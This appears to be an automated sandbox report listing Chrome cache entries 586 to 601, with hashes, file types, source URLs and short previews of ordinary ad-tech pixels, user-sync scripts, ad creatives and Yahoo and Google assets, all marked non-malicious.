Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	43
Entropy (8bit):	2.7374910194847146
Encrypted:	false
SSDEEP:	3:CU9yltxlHh/:m/
MD5:	DF3E567D6F16D040326C7A0EA29A4F41
SHA1:	EA7DF583983133B62712B5E73BFFBCD45CC53736
SHA-256:	548F2D6F4D0D820C6C5FFBEFFCBD7F0E73193E2932EEFE542ACCC84762DEEC87
SHA-512:	B2CA25A3311DC42942E046EB1A27038B71D689925B7D6B3EBB4D7CD2C7B9A0C7DE3D10175790AC060DC3F8ACF3C1708C336626BE06879097F4D0ECAA7F567041
Malicious:	false
Reputation:	low
URL:	https://ads.yieldmo.com/v000/t_tkr/ev?type=hi&pvid=3526568451959556956&pvt=1714257719710&plid=3494600134447014563&imp=1121930830413873533&rep_meta=OxryVXEwpTm169ULoMdnxAilR3dTHvW2h7fbytaLWZP-nZT0JZkBWv0a__McT6GnlJtFYZh_XhsVXt7s4C4_InXOHoL8uA49xwCPNEqdQURmDBproG_MMwpQTaI8I41HEqzYQVFZ8CswUJpGTJPeTZj-jR-x7Rdj4crYbAxKS27RjCaX1XxKNyO3ReoPhUKoIXdsDD-XidSuQml9bQyntX58ZFvAn5-JDPwdIlFrpWV3EAzQRVlwvoB5MMDNz246SkyjZQjh6RFpl-aXvasSZEea8Vb2WB_jg8eGJ_GECFl_zIU2ljc3NqGIB4z07Kmc7Hn9o1ElR3WwqXDftg4jCiD_84mMiCEnbb3oVN6p2fr_jn9SttB6BFoUuPDzSgbHWRATjTgOd1oiu1jUvgRXyBG6IPiXSMYBrUTsFFWOeCo
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 586

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (25176)
Category:	downloaded
Size (bytes):	41710
Entropy (8bit):	5.378084700705447
Encrypted:	false
SSDEEP:	768:Uf8/g/Nl/s/sgs1Rfo0b2FwYLDdYKriRzCsvFvCuQ:UfUoNlCs00xQrDuCuQ
MD5:	BF8106FACD40EB6EE6FD5AE708617AEF
SHA1:	C7A88CE7CF01F735FA16E997F081BAECC8CE214E
SHA-256:	F1F1D6F58EF74977E7BE3220172E467AC2B3F528FF2971B5725CAEFD48E4CDAE
SHA-512:	2C7B66F1EC8A81C155C460E6A6B70984D230C7F4398F3961239A7A7A72BF9B4EA07321F5471A7481E7A6B3E9C79C0AAF94770E8067A17E8B8D996F20053FF3E6
Malicious:	false
Reputation:	low
URL:	https://eus.rubiconproject.com/usync.js
Preview:	var comments = 'User-Sync: generated: 2024-04-27 11:15:25 PDT';.var rtb_sync = {"consent_rate":100,"reset_rate":0,"ttl":14,"sample":100,"max_pixels":16,"pixel_sets":{"rtb":{"sample":100,"pixels":{"1185":{"ttl":7,"img":"https:\/\/ad.turn.com\/r\/cs?pid=6","secure":{"img":"https:\/\/ad.turn.com\/r\/cs?pid=6"},"priority":7,"partner":"amobee"},"1902":{"priority":17,"ttl":2,"img":"https:\/\/cms.quantserve.com\/pixel\/p-e4m3Yko6bFYVc.gif?idmatch=0","secure":{"img":"https:\/\/cms.quantserve.com\/pixel\/p-e4m3Yko6bFYVc.gif?idmatch=0"},"partner":"quantcast"},"1986":{"priority":7,"ttl":1,"img":"https:\/\/ib.adnxs.com\/getuidnb?http%3A%2F%2Fpixel.rubiconproject.com%2Ftap.php%3Fv%3D4894%26nid%3D1986%26put%3D$UID%26expires%3D30","secure":{"img":"https:\/\/secure.adnxs.com\/getuidnb?https%3A%2F%2Fpixel.rubiconproject.com%2Ftap.php%3Fv%3D4894%26nid%3D1986%26put%3D$UID%26expires%3D30"},"partner":"xandr"},"2046":{"priority":13,"ttl":7,"img":"https:\/\/token.rubiconproject.com\/token?pid=2046&pt=n&a=1",

Chrome Cache Entry: 587

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	1660
Entropy (8bit):	4.301517070642596
Encrypted:	false
SSDEEP:	48:A/S9VU5IDhYYmMqPLmumtrYW2DyZ/jTq9J:A2VUSDhYYmM5trYFw/jmD
MD5:	554640F465EB3ED903B543DAE0A1BCAC
SHA1:	E0E6E2C8939008217EB76A3B3282CA75F3DC401A
SHA-256:	99BF4AA403643A6D41C028E5DB29C79C17CBC815B3E10CD5C6B8F90567A03E52
SHA-512:	462198E2B69F72F1DC9743D0EA5EED7974A035F24600AA1C2DE0211D978FF0795370560CBF274CCC82C8AC97DC3706C753168D4B90B0B81AE84CC922C055CFF0
Malicious:	false
Reputation:	low
URL:	https://www.gstatic.com/images/branding/googlelogo/svg/googlelogo_clr_74x24px.svg
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="74" height="24" viewBox="0 0 74 24"><path fill="#4285F4" d="M9.24 8.19v2.46h5.88c-.18 1.38-.64 2.39-1.34 3.1-.86.86-2.2 1.8-4.54 1.8-3.62 0-6.45-2.92-6.45-6.54s2.83-6.54 6.45-6.54c1.95 0 3.38.77 4.43 1.76L15.4 2.5C13.94 1.08 11.98 0 9.24 0 4.28 0 .11 4.04.11 9s4.17 9 9.13 9c2.68 0 4.7-.88 6.28-2.52 1.62-1.62 2.13-3.91 2.13-5.75 0-.57-.04-1.1-.13-1.54H9.24z"/><path fill="#EA4335" d="M25 6.19c-3.21 0-5.83 2.44-5.83 5.81 0 3.34 2.62 5.81 5.83 5.81s5.83-2.46 5.83-5.81c0-3.37-2.62-5.81-5.83-5.81zm0 9.33c-1.76 0-3.28-1.45-3.28-3.52 0-2.09 1.52-3.52 3.28-3.52s3.28 1.43 3.28 3.52c0 2.07-1.52 3.52-3.28 3.52z"/><path fill="#4285F4" d="M53.58 7.49h-.09c-.57-.68-1.67-1.3-3.06-1.3C47.53 6.19 45 8.72 45 12c0 3.26 2.53 5.81 5.43 5.81 1.39 0 2.49-.62 3.06-1.32h.09v.81c0 2.22-1.19 3.41-3.1 3.41-1.56 0-2.53-1.12-2.93-2.07l-2.22.92c.64 1.54 2.33 3.43 5.15 3.43 2.99 0 5.52-1.76 5.52-6.05V6.49h-2.42v1zm-2.93 8.03c-1.76 0-3.1-1.5-3.1-3.52 0-2.05 1.34-3.52 3.1-3

Chrome Cache Entry: 588

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	dropped
Size (bytes):	43
Entropy (8bit):	2.9889835948335506
Encrypted:	false
SSDEEP:	3:CUkxl7/lHh/:slf/
MD5:	B4491705564909DA7F9EAF749DBBFBB1
SHA1:	279315D507855C6A4351E1E2C2F39DD9CD2FCCD8
SHA-256:	4E0705327480AD2323CB03D9C450FFCAE4A98BF3A5382FA0C7882145ED620E49
SHA-512:	B8D82D64EC656C63570B82215564929ADAD167E61643FD72283B94F3E448EF8AB0AD42202F3537A0DA89960BBDC69498608FC6EC89502C6C338B6226C8BF5E14
Malicious:	false
Reputation:	low
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 589

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text
Category:	downloaded
Size (bytes):	5602
Entropy (8bit):	4.8486364474396835
Encrypted:	false
SSDEEP:	96:Rufzqtgq/Ia8BabYneYenalR8UAtaFAoYI2m277qs/ztYf3:Btgq/ILBYce7nalVMaFnYI2mk7qs/ztW
MD5:	2FA3CC552B0D5C14A6FF49EC871AF7BB
SHA1:	B9D30834654B611432D84E45590785A6AD37E642
SHA-256:	6B1DDA68A8622F511CBBDBF2F83F757F0D5CC74BFCB251DE2C3416982CAFE55E
SHA-512:	C65712361C5EEFFC2D4B6BC27704A301C55348F2A3A8D0A68CCD3922C0D21385B72F23479A6F808494DE151A09C8BEDAAF414F2A2C68D2976D409B658678B0B4
Malicious:	false
Reputation:	low
URL:	https://s0.2mdn.net/sadbundle/13259857157114927549/CB1-Curi_300x600/index2.html?ev=01_250
Preview:	<!doctype html>.<html>. <head>. <title>728x90</title>. <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no" />...<meta name="ad.size" content="width=300,height=600">.. <script type="text/javascript">. var clickTag = "https://go.curi.com/rediscover-curi";. </script>.. <script type="text/javascript">. . (function() {. var MAX_URL_PARAM_LENGTH = 34;. var CLICK_X_URL_KEY = 'nx';. var CLICK_Y_URL_KEY = 'ny';. var CREATIVE_DIMENSIONS_KEY = 'dim';. var AD_URL_PARAM = '&adurl=';.. var relegateNavigation = '';. var urlParamMap = {};.. var isNewtonTokenSet = false;. var isTurtleXAdClick = false;. var reportingIds = {};.. urlParamMap[CLICK_X_URL_KEY] = null;. urlParamMap[CLICK_Y_URL_KEY] = null;. urlParamMap[CREATIVE_DIMENSIONS_KEY] = null;.. var handleClickTagMessage = function(e) {. try {. var eventData = JSON.parse(e.data);. } catch (err) {. return;.

Chrome Cache Entry: 590

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 600 x 1200, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	20697
Entropy (8bit):	7.421195137719565
Encrypted:	false
SSDEEP:	384:VEV1X69K4/BdUkTCunBwjZ/aNlWCfxgCMFJogAWmo0txuOoe12jZ:VMw9v4kTCuBqZ/axgCMFJTNm9laF
MD5:	ECEDCA34E1649A9910F409E0308AFE8D
SHA1:	0F5587DCDFF7A989076938E50C14A45C8E9C9F16
SHA-256:	D0973F0288AC841C3E0802FD38ABEC8722C165187E7975A128B523E2334E553B
SHA-512:	2A78BFC79558E0C3DCD09A8BAD0A5B5968023A5853E5EA1C7941B6F631697D8EC2B9BBE138B4CE16E970E92D71264DD4E355C80CCACC38D6F81BE7220EB81E3A
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...X.........'.4.....pHYs.........O%.....$zTXtCreator....sL.OJUpL+I-RpMKKM.)..Az..jz.... .IDATx...Kr.W.0.s.....G....^.X+.Dkn.........L...LM..^A.s[.V.....UX.hjV.G........H..)._DEY`...y...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Chrome Cache Entry: 591

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	dropped
Size (bytes):	42
Entropy (8bit):	2.9881439641616536
Encrypted:	false
SSDEEP:	3:CUXPQE/xlEy:1QEoy
MD5:	D89746888DA2D9510B64A9F031EAECD5
SHA1:	D5FCEB6532643D0D84FFE09C40C481ECDF59E15A
SHA-256:	EF1955AE757C8B966C83248350331BD3A30F658CED11F387F8EBF05AB3368629
SHA-512:	D5DA26B5D496EDB0221DF1A4057A8B0285D15592A8F8DC7016A294DF37ED335F3FDE6A2252962E0DF38B62847F8B771463A0124EF3F84299F262ED9D9D3CEE4C
Malicious:	false
Reputation:	low
Preview:	GIF89a.............!.......,...........D.;

Chrome Cache Entry: 592

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text
Category:	downloaded
Size (bytes):	2982
Entropy (8bit):	5.4285452813843875
Encrypted:	false
SSDEEP:	48:kHbLffmz8GO5bBNgGOox1GOGU9dNbHGOh/gr51jGO+o26ZGOUj5MueOSy9DOGOO:IfeXEBtbxkhYDbmSbZxUDyPj
MD5:	0F7B9850C7AD5A8FFDBE69A821EFC07C
SHA1:	3A906209243775AA63C54E4A6C308F7C008F5E7C
SHA-256:	D660AB2DFEFDF06B847E89FCB99E3380936BCF70994A679757B81531E807AD95
SHA-512:	C824151CF5E811D0DD018920A74DD13F98819B5F781CC5239034DE3227D464F8370753E4377D052FCACAD7D718E174C1D1DD56F69672FA09F41F04258F2E7D6E
Malicious:	false
Reputation:	low
URL:	https://rtb.gumgum.com/usync/prbds2s?gdpr=0&gdpr_consent=&us_privacy=1YNN&r=https%3A%2F%2Fpbs.yahoo.com%2Fsetuid%3Fbidder%3Dgumgum%26gdpr%3D0%26gdpr_consent%3D%26gpp%3DDBAA%26gpp_sid%3D-1%26f%3Db%26uid%3D
Preview:	<html><head><title></title></head><body>.<img src="https://secure.adnxs.com/getuid?https://usersync.gumgum.com/usersync?b=apn&i=$UID" style="display:none;"/>.<img src="https://x.bidswitch.net/sync?ssp=gumgum2&user_id=u_4c53540e-5a20-4fc0-94bc-96b5618a25d2&gdpr=0&gdpr_consent=&us_privacy=1YNN" style="display:none;"/>.<iframe src="https://c1.adform.net/serving/cookie/match?party=1301&gdpr=0&gdpr_consent=" style="display:none;"></iframe>.<img src="https://us-u.openx.net/w/1.0/cm?_={CACHEBUSTER}&id=47f31213-389c-4904-aaa6-9b11aab9c211&gdpr=0&gdpr_consent=&us_privacy=1YNN&r=https%3A%2F%2Fusersync.gumgum.com%2Fusersync%3Fb%3Dopx%26i%3D" style="display:none;"/>.<img src="https://sync.srv.stackadapt.com/sync?nid=1&gdpr=0&gdpr_consent=" style="display:none;"/>.<iframe src="https://cm.g.doubleclick.net/pixel?google_nid=gumgum_dbm&google_hm=dV80YzUzNTQwZS01YTIwLTRmYzAtOTRiYy05NmI1NjE4YTI1ZDI=&gdpr=0&gdpr_consent=&google_redir=https%3A%2F%2Fusersync.gumgum.com%2Fusersync%3Fb%3Dgdv" style="display:

Chrome Cache Entry: 593

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 1 x 1, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	86
Entropy (8bit):	4.234496061572304
Encrypted:	false
SSDEEP:	3:yionv//thPlE+tnM7WsrtxBllKxt8SFFFlpimp:6v/lhPfZM1U82FFlpimp
MD5:	6C6641B08F4BE6F479F1588AF08054B3
SHA1:	8DA28B3146834C48FD843B108749191516D2A65D
SHA-256:	C2ECFF291918A3CAF0B7E470323E89F2A1F05B92E12A10649E598CACEBE62ACF
SHA-512:	BE544E3106F2B8E8083EF88B68806D6CEF2C4FBDD416C2E8EE17C88B42337A2972AF2C54CB8287A86ACCF6AC41CBCCA9A2E79F9E44417F5B144681D2B501E235
Malicious:	false
Reputation:	low
URL:	https://pbs.yahoo.com/setuid?bidder=unruly&gdpr=0&gdpr_consent=&gpp=DBAA&gpp_sid=-1&f=i&uid=RX-915945b2-6af3-4975-9839-febe73c73a74-005&us_privacy=1YNN
Preview:	.PNG........IHDR....................sBIT....\|.d.....IDAT..c````........N.....IEND.B`.

Chrome Cache Entry: 594

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	42
Entropy (8bit):	2.9881439641616536
Encrypted:	false
SSDEEP:	3:CUXPQE/xlEy:1QEoy
MD5:	D89746888DA2D9510B64A9F031EAECD5
SHA1:	D5FCEB6532643D0D84FFE09C40C481ECDF59E15A
SHA-256:	EF1955AE757C8B966C83248350331BD3A30F658CED11F387F8EBF05AB3368629
SHA-512:	D5DA26B5D496EDB0221DF1A4057A8B0285D15592A8F8DC7016A294DF37ED335F3FDE6A2252962E0DF38B62847F8B771463A0124EF3F84299F262ED9D9D3CEE4C
Malicious:	false
Reputation:	low
URL:	https://pagead2.googlesyndication.com/pagead/gen_204?id=xbid&dbm_b=AKAmf-Dzbf_Q2U6caXPI0EI5fjJwBkkKsdkq6PSDUldA4YtSwGYlo5wUQOCWDUQi39zBUGU_8TKhrdFXcnCdPxNiU8LON6kaEhMWDbdR0tBqGZqJLZby6uc
Preview:	GIF89a.............!.......,...........D.;

Chrome Cache Entry: 595

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	dropped
Size (bytes):	43
Entropy (8bit):	2.9889835948335506
Encrypted:	false
SSDEEP:	3:CUkxl7/lHh/:slf/
MD5:	B4491705564909DA7F9EAF749DBBFBB1
SHA1:	279315D507855C6A4351E1E2C2F39DD9CD2FCCD8
SHA-256:	4E0705327480AD2323CB03D9C450FFCAE4A98BF3A5382FA0C7882145ED620E49
SHA-512:	B8D82D64EC656C63570B82215564929ADAD167E61643FD72283B94F3E448EF8AB0AD42202F3537A0DA89960BBDC69498608FC6EC89502C6C338B6226C8BF5E14
Malicious:	false
Reputation:	low
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 596

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65514)
Category:	downloaded
Size (bytes):	428858
Entropy (8bit):	5.359701624570848
Encrypted:	false
SSDEEP:	6144:QG5Bsu6MyTv4qTfFd+WeDcADl7gAO3SSSWfv8cTNzu+gnREZI+mODN0BdCJ:PBx6Mc9oWeDlAwbRmI0DNj
MD5:	724ADF577ACFC3BA70E3464337313C22
SHA1:	C6F16166E392026BCDF5F096A563FB3C30C4BF2F
SHA-256:	9AA71A4706166B9990E3523BD0E3E21519D60015048CA2B378F7A006D77610E4
SHA-512:	0D324DC6351F9711E336D86C6FD5A2D69D786F1CB1F53E0D9953D0E31DA25D8CEE105D214FBD263E2D635821E49D5F63458BF63E51E58875555390957439A40A
Malicious:	false
Reputation:	low
URL:	https://cdn.doubleverify.com/dv-measurements5877.js
Preview:	/! v5877 519875bc /.var __dv_global_script_start_time__="undefined"!=typeof performance&&"function"==typeof performance.now?performance.now():void 0,__webpack_modules__={2328:function(e,t){"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.DATA_NODE_KEY=t.MONITORING_TAG_ON_TOP_LEVEL_KEY=t.TRACKING_RATE_KEY=t.TRACKING_EVENT_CATEGORY=t.TRACKING_BASE_URL=t.MAX_WINDOW_DEPTH=void 0,t.MAX_WINDOW_DEPTH=20,t.TRACKING_BASE_URL="https://vtrk.doubleverify.com",t.TRACKING_EVENT_CATEGORY="data-transparency",t.TRACKING_RATE_KEY="dv-data-transparency-tracking-rate",t.MONITORING_TAG_ON_TOP_LEVEL_KEY="dv-data-transparency-top-level-monitoring",t.DATA_NODE_KEY="dv-data-transparency-data-node"},9522:function(e,t){"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.Container=void 0;var i=function(){function e(){this.container={}}return Object.defineProperty(e.prototype,"size",{get:function(){return Object.keys(this.container).length},enumerable:!1,configurable:!0}),e.prototype.i

Chrome Cache Entry: 597

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	15779
Entropy (8bit):	5.524663224773879
Encrypted:	false
SSDEEP:	384:ex0c8lLEQpEJEHaEpYbErIKE5IrEXKVE53UEb0vA1CEyEujTaEapE9pEgpE7pEu1:ex0c8lLEQpEJE6EgEnEcEEESE/CEyEuA
MD5:	516D6783C22062975F9A1CB3878EC4F6
SHA1:	58992993E09DED12BB35F41A9C1DD2C439066B5E
SHA-256:	D5A7E7758878645EAFBF5AE5365E8A13682DBD04330568B2FC49EA275A404CEB
SHA-512:	AAF73CA463F48C0ED38D5CF1C148616719FDA964872179EE3B99ECB98E4BA56AAAFF423270E6BCADCF1B3769B7DE925D4D3B2E9832C740177173AB8B1FB92812
Malicious:	false
Reputation:	low
Preview:	{"assets":{"css":[{"location":"top","value":"/aaq/cprops/colors_1.1.27.min.css","name":"custom-properties","version":"1.1.27"},{"location":"top","value":"/aaq/fp/css/react-wafer-games.GamesMini.atomic.ltr.1351353cf8129012a686e519608812d5.min.css","name":"react-wafer-games.GamesMini.atomic"},{"location":"top","value":"/aaq/fp/css/react-wafer-games.games-mini.cdd5050ba6288df47182412e30e482a4.css","name":"react-wafer-games.games-mini"}],"js":[{"location":"bottom","value":"/aaq/wf/wf-core-1.65.0-modern.js","name":"wafer-core","version":"1.65.0"},{"location":"bottom","value":"/aaq/wf/wf-fetch-1.19.1-modern.js","name":"wafer-fetch","version":"1.19.1"},{"location":"bottom","value":"/aaq/wf/wf-tabs-1.12.6-modern.js","name":"wafer-tabs","version":"1.12.6"},{"location":"bottom","value":"/aaq/wf/wf-scrollview-2.22.6-modern.js","name":"wafer-scrollview","version":"2.22.6"},{"location":"bottom","value":"/aaq/wf/wf-image-1.4.0-modern.js","name":"wafer-image","version":"1.4.0"},{"location":"bottom","

Chrome Cache Entry: 598

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	RIFF (little-endian) data, Web/P image, VP8 encoding, 356x180, Scaling: [none]x[none], YUV color, decoders should clamp
Category:	downloaded
Size (bytes):	10192
Entropy (8bit):	7.978952523588561
Encrypted:	false
SSDEEP:	192:MiQ2bt+E84mxGKb3GIEUtx7Bu8pxZbg/Iav/yHKaX288f8lH+thUEasFVK:MiQ2t84mVOUzBlpA/IpHKW232H+gEtFk
MD5:	CF69D3BD81C39B3C786961BC0DEF39D6
SHA1:	15FF68E69F0318A5E618186BDC667054D93A0B19
SHA-256:	2ED7B29F958BF97EB54EF237F12F9DF4D1B7E7B94FCFAD939E5BA7C52D97A2FB
SHA-512:	A67F1906DDBBDFA6CBB6E57C6427E26A603806751DDE75A021E6D5C4C43BF0D3B3C7C9ABD0B076DD2178C1F1BF024965FC0F9E306AF05639DEBC7374E4C56997
Malicious:	false
Reputation:	low
URL:	https://s.yimg.com/uu/api/res/1.2/ONe9Ngr.AKVsKd88e7UP.Q--~B/Zmk9c3RyaW07aD0xODA7cT04MDt3PTM1NjthcHBpZD15dGFjaHlvbg--/https://s.yimg.com/os/creatr-uploaded-images/2024-04/afe25c90-04a4-11ef-97bf-b18c6d9d8b4e.cf.webp
Preview:	RIFF.'..WEBPVP8 .'......d...>y4.H$..!+3.@...f..l......../}.mo.........j..t..O.?..1..z..Y.K...C.G._]/\>b.i.f=.?......................\|..u................43........4]..h..\|...D9..OP..7s..[N..B.3....4.5Q......LI.v...Zc..9!w.u..!I%......Zv.x.`.....~KX.Z-k.#w....(.=... u....\<...q.8...7.v'.$.%.b.. +^=.d{N...'B....6-.c%.'.EU...]....U.!r...,.\|6^....8@Y....)n.....=[...U\|........g>.....P..an....Y.....[u...%f......6(.G...w..._.DGn).c.k...Y.p.$.:Yn...nG..b..#w.B....x-.\|.H7\|.Q.9X\|.&H.....).wZ.2.3..@...:..b.In.......Knv..q.H/:H.....}#. J-.B...c._..wOn.b...8.O.......3./...:....9(.&.R `8..j.2T?.....L....y\|....+....x....aS....?(.6!..E..WMT.!.6.S....l...Q..;F....}.~q...=;.A..<4~....)...Q...?+...\58.@9..8.U.(9.)...8.\|...Hq.#Y..\|{.W=Q.........H.D..n,....:ezs....n..0.].b.....C.K.K..O6..Uq..,..^.i...=.Qf;6.n..GI.....+Z4........ ....NJ.......M......yv...~..O..{..^WF....~W....@.....mY.!.,...wL.Z.j..........ZZ...m..}..23tX.8.M.~.s5...s..;!=.`.o.....,D..r..iW..

Chrome Cache Entry: 599

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (14567), with no line terminators
Category:	downloaded
Size (bytes):	14567
Entropy (8bit):	5.233891295924048
Encrypted:	false
SSDEEP:	384:/lNH7DWdKQtK+ABPYUc3CGuucPoUq3xeQAazzlQ:vHXBPYU6CGNcPoI
MD5:	FF6533FEBE2F4FB2E2DBAA32B38C5D20
SHA1:	8B293E36B0E1C49F68C3D7F93968A0101A372324
SHA-256:	7CD57326970A4C3C96D26E9B5F95C3021E823A747DC0D55B89745075F3678FD2
SHA-512:	C8923B35A32E17F097602400992875496B49EBDDB9C8DDAC882D2EB835C190C1FB8DD1FF888BDDE1ADA67B3725CBDCE0A23C96A7DFA8799A2E0566A548B989C1
Malicious:	false
Reputation:	low
URL:	https://s.yimg.com/aaq/wf/wf-tabs-1.12.6-modern.js
Preview:	!function(t,e){"object"==typeof exports&&"object"==typeof module?module.exports=e():"function"==typeof define&&define.amd?define("wafer-tabs",[],e):"object"==typeof exports?exports["wafer-tabs"]=e():(t.wafer=t.wafer\|\|{},t.wafer.wafers=t.wafer.wafers\|\|{},t.wafer.wafers["wafer-tabs"]=e())}("undefined"!=typeof self?self:this,function(){return function(t){function e(i){if(a[i])return a[i].exports;var o=a[i]={i:i,l:!1,exports:{}};return t[i].call(o.exports,o,o.exports,e),o.l=!0,o.exports}var a={};return e.m=t,e.c=a,e.d=function(t,a,i){e.o(t,a)\|\|Object.defineProperty(t,a,{configurable:!1,enumerable:!0,get:i})},e.n=function(t){var a=t&&t.__esModule?function(){return t.default}:function(){return t};return e.d(a,"a",a),a},e.o=function(t,e){return Object.prototype.hasOwnProperty.call(t,e)},e.p="https://s.yimg.com/aaq/wf/",e(e.s="./src/entry.js")}({"./src/entry.js":function(t,e,a){"use strict";function i(t,e){if(!(t instanceof e))throw new TypeError("Cannot call a class as a function")}function o

Chrome Cache Entry: 600

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 536x284, components 3
Category:	dropped
Size (bytes):	29574
Entropy (8bit):	7.944426631284624
Encrypted:	false
SSDEEP:	768:2sb/ak8GwQWQphx8vCQEDhYliFIUdQZ8T6tivMDw:2sb/fpn7wEdQqow
MD5:	E07306B1546D4D236AA8206AAD64F916
SHA1:	0938E45C412805E1B7AA95BC001999AD57C16CC5
SHA-256:	9E9039BC1497965C18C51913D8B1EF2BCF3B1E926C260BAA649DA66D2475D23B
SHA-512:	267780EA0410847E1815285C4C1A04B0F6678896B4EA6BE1C1D7DFE1D5FF3E989F37AE86AFA905AF7D0C9CED31299717C81EF78D66F404E30B3D684C2D738F86
Malicious:	false
Reputation:	low
Preview:	......JFIF.............@ICC_PROFILE......0ADBE....mntrRGB XYZ .........3.;acspAPPL....none...........................-ADBE................................................cprt.......2desc...0...kwtpt........bkpt........rTRC........gTRC........bTRC........rXYZ........gXYZ........bXYZ........text....Copyright 2000 Adobe Systems Incorporated...desc........Adobe RGB (1998)................................................................................XYZ .......Q........XYZ ................curv.........3..curv.........3..curv.........3..XYZ ..........O.....XYZ ......4....,....XYZ ......&1.../.......C....................................................................C.......................................................................................................................H.........................!..1A.Qa."2q..#B...3Rb...$4r.....CS..%..D....................................*......................!..1.A.".Q#23Ca$Sq............?..u..#.c.1..+.+...q.EM{...[+.!.....2.l~......R1(....

Chrome Cache Entry: 601

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (37982), with no line terminators
Category:	downloaded
Size (bytes):	37986
Entropy (8bit):	6.1439599761517645
Encrypted:	false
SSDEEP:	768:PN3BofrbQSZxr8QQy7dSci8ok0or0CPcc2ZAvsBekYWEdVaTAoNIz1bYV+pkjWc:V3in9xbQPk0or0CEc2ZAvsBeku+EoSBi
MD5:	79D58D620B7D3ECE4B909FC74F80CC64
SHA1:	3F7C46EC527A92E78B71C0FB5F3511F39845713D
SHA-256:	80E533B285F60B062E936F35B00DAF5DD04DB68B619494A3F789FF88CE64699C
SHA-512:	40F94F7B9A9BD3337A6C63F8BDBFA4B8B52A4FBC7889EADDF06C70BFBCE6F67BA86DFB22193B51B9AE8D78EC96A86CBAC849CD1242C4E00BB532831BBC19731E
Malicious:	false
Reputation:	low
URL:	https://googleads.g.doubleclick.net/dbm/ad?dbm_c=AKAmf-AoG7ONKnY8wVhsKpft1Y_lXQGawmGEWdc219RU61d41FKrFppdqB9_LV8qVn0OMuW1F4ky1I47ZSCGst4pJJhCFFCYLy4RSWmAExMLZpLg_WRhmRwP4j6yztXyrfKZWOfooX7HN3nn4pIjU0x8FKGufleQ1eUwxji302-qYafj9BvwofgExh4-ir_pUzu6hEyTe0z2DH9vAmI7o_kV6i_sgfKMUwM2_D3DHxbRClTAFqdb9Sc&cry=1&dbm_d=AKAmf-BzRQQYNuo1exB43Fv8nGRQMPGfCL_8BJ_qnUDzCLo_kWd3j7UDLGzy36JiqAD2ID-E2-d7H4VHJ6hKijKLk0AweGi0Pr4b3mNQPQLWJgV_Ex3_sw9U1xFixjnfZUc13WQvEyXPL1WFnGcIzoOiZZUGv2w6lFaItEsVuviwJ4kS8Q8x6fUJVtoGvvcIieXwxlrjYZ7TH-ZU7errWrC5mtqoXftU92TOJK9LL_QELe-361VyjgL9tj76Z04tkBKuRXDHhWj_IaxViRI5FQa7RtFVp8gHsLjlW8f_oeyMg7sp07SRhA8vYIP3ietvGB9iPi_ZJoYkdRaOpLwIurcb2FKjbe_McgwE2pkQscF1WiizZSwbLN-yDbhD7tzs35Q0DquxvA3reCRpdBBGsKFeaq57N_e8L1h7svykJeeLlMqKtPaXWGuB5oY6cP8blQTtetKJ20K-2vdUYwce7rwene4wYzCw8448_-ezXcEWwrk91vqY4qw3XBo97M0HgJ4vyU6nW3bO6TZscwvuWV88ksY3uRkiHlCsCzgO0dJx5PTIPvrEwCCGNI4QvIgkkMtLNZG5cK8zE70Y2LwinSTRa67CS2zasb0_aggxmgZTGwFMXzsHpreQOENyyU8DjeTkTWQFi82XbwIc6ZhKY-hS5mVRm6JAnSQJLcIu-dRng3FZtvEN7x9g87IW6Au7h6q2zxovOz6RI31Q2QTajB65WzioLkb-dPELuNHoMZgQJUNa9b-XcekhaSTbTmmdYxLd3hrAfzPl1tHecvxhJ4e9KSQIPSI7Oam9LWHKa3C61sowuimnqpriOSH4PIQnBiRgXw6rIYGMVtQMI-ziRArfeNqDJxAKilGenEdVTKx2spjXPZSW3BmHhN0AH0ytNc-CDq8V_1Vphuh-FIztHHKLbGWqlAsdShfhJdjOegw1rX0PKr0vLNHjpt9c_sNbZ2Mu_aozhBthrO_2cemO3ZZ_jIocYJDCJS2vfFuDL0SHalhPOJu0B_1x87OfVuU9sum-EcqEsOg-HznjrVCjvbGuHanPY7bTU3SK-cIL-8CS0hZgg2mtD7jLxP3-t9es_zI6PBeG9C